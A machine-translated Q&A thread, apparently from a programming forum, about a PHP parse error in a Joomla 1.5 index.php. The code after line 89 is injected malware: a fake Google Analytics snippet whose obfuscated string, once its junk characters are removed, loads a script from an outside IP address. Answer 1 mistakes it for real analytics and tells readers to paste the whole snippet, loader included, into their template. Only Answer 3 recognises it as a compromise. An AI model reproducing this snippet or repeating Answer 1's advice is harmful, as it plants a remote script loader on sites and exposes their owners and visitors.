Ошибка анализа: синтаксическая ошибка, неожиданный "<" in - Fix?
Newb здесь пытается исправить мой PHP-код. Получение ошибки в строке 89.
<?php
/**
* @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^& [email protected]!#^5(@#!.!&[email protected]#4)8#& /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>
Ответы
Ответ 1
Просто нашел файл в пакете Joomla 1.5. Это index.php в корневом каталоге. Поскольку этот файл состоит только из 89 строк, и он доказал свою эффективность, это не проблема с самой Joomla.
Как и предлагалось выше, вырезать все после строки 89 и восстановить файл в исходном макете. Если вы не уверены, загрузите последнюю установку Joomla 1.5 и возьмите прилагаемый файл index.php. Btw. неразумно возвращать любой контент в ясный текст после того, как он, возможно, уже был возвращен gzipped от Joomla, и тег body уже закрыт.
Как восстановить функциональность Google Analytics? Найдите текущий шаблон, откройте файл index.php и добавьте следующее перед тегом body:
<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^& [email protected]!#^5(@#!.!&[email protected]#4)8#& /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C /script%3E"));
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>
Ответ 2
Вы начинаете новый раздел <?php
, не заканчивая предыдущий.
Почему вы открываете новый раздел <?php
в первую очередь? Ты уже в одном. Просто удалите часть <?php
в строке 89, и я подозреваю, что все будет хорошо - по крайней мере синтаксически.
Чтобы быть понятным, у вас есть:
<?php
stuff
<?php
more stuff
?>
Вы хотите:
<?php
stuff
more stuff
?>
Ответ 3
Я думаю, что это какой-то взломанный поиск в Интернете, я обнаружил, что это случилось с моим утренним утром в 9 утра, не догоняло его до той ночи, когда я уезжаю в воскресенье. Я просмотрел свой журнал php и обнаружил, что он был вставлен практически в каждый файл index.php, который у меня был. Я сделал полное восстановление с прошлой ночи. и изменил ВСЕ мои пароли, которые имеют какой-либо доступ ко всему. Я сайт, который я читал (google переводил немецкий сайт), я думаю, упоминал, что он отправлял информацию обратно в Украину, но я не могу это подтвердить. Все, что я знаю, это я не вложил, и это было более 20 страниц. повезло, это заняло мой сайт, поэтому мне пришлось выяснить, почему.
Укажите, какую версию joomla и другие компоненты вы используете.